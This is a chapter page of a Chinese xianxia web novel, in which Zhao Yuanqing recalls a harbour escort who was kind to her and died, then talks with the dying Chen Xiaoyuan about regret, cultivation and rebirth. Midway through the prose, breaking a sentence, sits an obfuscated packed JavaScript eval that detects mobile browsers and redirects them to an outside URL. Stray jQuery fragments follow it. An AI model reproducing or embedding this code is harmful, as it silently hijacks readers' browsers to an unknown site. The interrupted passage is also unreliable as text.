找个地方晒 作品

36. 富水村的陈小圆篇二十五(第2页)

她叹了口气:“那商人好男色,我觉得码头边的男人好怪啊,好像只有我和他都一起去过这些场所,见过彼此一些肮脏淫邪的模样,才能放心地收我皮子似的。我那时有求于他,便只能去了,头一回那个商人甚至没要我花钱。”

可能因为一口气说太多话了,赵元青喘口气接着说道:“其实我是因他最便宜才要他作陪的,他瞧不出我是女子,看我在那格格不入的,就拉我早早去了楼上,我不喜欢别人拉着我,推了他,他也没生气,还朝我讨好地笑,低声地让我同他去。那个人身体很差的,我觉得对我并没有什么威胁,就一起上了楼。然后他让我睡床,他睡竹子做的地板,他说:知道我不好这个,他也歇歇,我也歇歇。因那商户总去,我需要依仗他卖皮毛,后来有时他花钱,有时我花钱,只得一直喊他作陪,和那男子熟悉了些,他待我挺好的,我那时很笨,分辨不出来别人说的是真话还是假话,总被骗,他教我怎么讨好别人谈生意,了解

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841308|156408||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

别人话里的意思。后来小元来了,我好久没去,再去时听说码头有个女客要他作陪,把他折腾死了,尸体怕有疫病也烧了。”

赵元青垂着头说:“我连他叫什么也不知道,我从来不曾问过他,无法为他收尸,我想我受他照顾,总要报答一二的,就去做被子的地方买了个粗布的褥子,上面用纸条附上,写道这是给前日死在琼州码头旁蚌珠巷右边第二家的男子的。”

陈小圆瞧不清楚她的表情,她怜惜地看着赵元青:“你对他……?”

赵元青回望,朝她略不自在地笑了一下:“不是的,我对他并没有旁的意思,我那时……”赵元青又低下头:“我那时总自作多情,觉得他好像有些喜欢我,年纪又小,处理不好这些,做生意稍微顺利些后,就愈发少去了,最后一次见他,他同我讲:让我多加衣,多吃饭。我没在意,嘴上答应,心里却觉得他啰嗦,他很聪明的,应该是看出来了,还朝我温柔地笑。我……我是觉得若那时能对他多些善意就好了。”

赵元青讲到这心中有些酸涩,换了个话题:“对了,就是那时候,我给他烧完褥子回去后村子里来告状,说我那徒弟把他家孩子手指给砍掉了一节,要我赔钱。我当时心情不好,一气之下没问缘由地说了元让蓝一顿,自己去道了歉赔钱。回来不理他了一阵子,他便和我不好了。我也没再解释。”

“小圆姐你瞧,那个女人是坏人,我那时也是个坏人,徒弟的衣食住行都仰仗我,我便凭着心情不问缘由地说了他,没顾虑到他的心情,后来我搞清楚了他为何砍别人手指,那事情不算他全错,可我也没道歉,一直死撑着。”

“对那个人也是。”

陈小圆头一回听见赵元青一口气说了一连串的话,愣愣地看着她,她没有问她有没有再为那个人报仇,只是隔了很久,轻声说:“元青,我后悔了,等我死了,你把我葬在岑河边行吗,我还是想投胎,等我下了地府,我在那里好好积德行善,愿能有贵人让我投胎成你的孩子。”

赵元青这时却望着岑河:“小圆姐,我生不了孩子的,我虽然并不如真正的虚归境,但也无法再生子了。女人琅嬛境后要子很难的,会面临境界倒退和身体的亏损,要比男人付出的更多。男人们还能靠没过虚归境之前努力生一生,你没瞧我之前给你讲到的张垂云,他身沉境时还能梦中娶妻生子呢,到了虚归境就不行了。唉,反正讲起来很复杂的。修真也是修欲,利己长生之欲,这和繁衍是冲突的。不过你若愿意,下辈子还来找我,你还叫小圆。行吗?”

陈小圆听了强忍泪意:“好,那我还叫小圆,我来找你。元青,你说的对,是我狭隘了,不如你通透,男子女子都一样,只是在沧州,女子生来被欺辱践踏,我便以为天下都如此,我瞧这江州妇人还能出来做生意,真的很好。我总怕你会吃亏。”

赵元青朝她洒脱一笑:“小圆姐,我见识少,没什么文化,不懂得许多道理,也不懂得很多的弯弯绕绕,你和徒弟说的话,好多我都不理解,但我师父说我时而大愚若智,时而大智若愚。是因为我很清楚修行之道便是修心,不修什么长生,也不求什么人欲。也不以事物或者别人的变化而转移,只要我心恒常不变,便能求得大道。我清楚此刻我在做什么,我的目的,好的坏的,对的错的,对我来说本质不变,都算修行的一种,都是我该经历的。”

此时日头渐渐向西去了,岑河逐渐染上夕红,岸边有几个约莫十三四岁的少女辛勤地洗着衣服唱起歌曲,还是那首淅川赋,稚嫩软语略微走调。

陈小圆眼中泪未干,瞧着那些如同朝阳般的浣衣少女心中有遗憾,有宽慰,五味陈杂,天宽地广,可她的人生滞留在了沧州,只在最尾声,才初初窥到了些辽阔。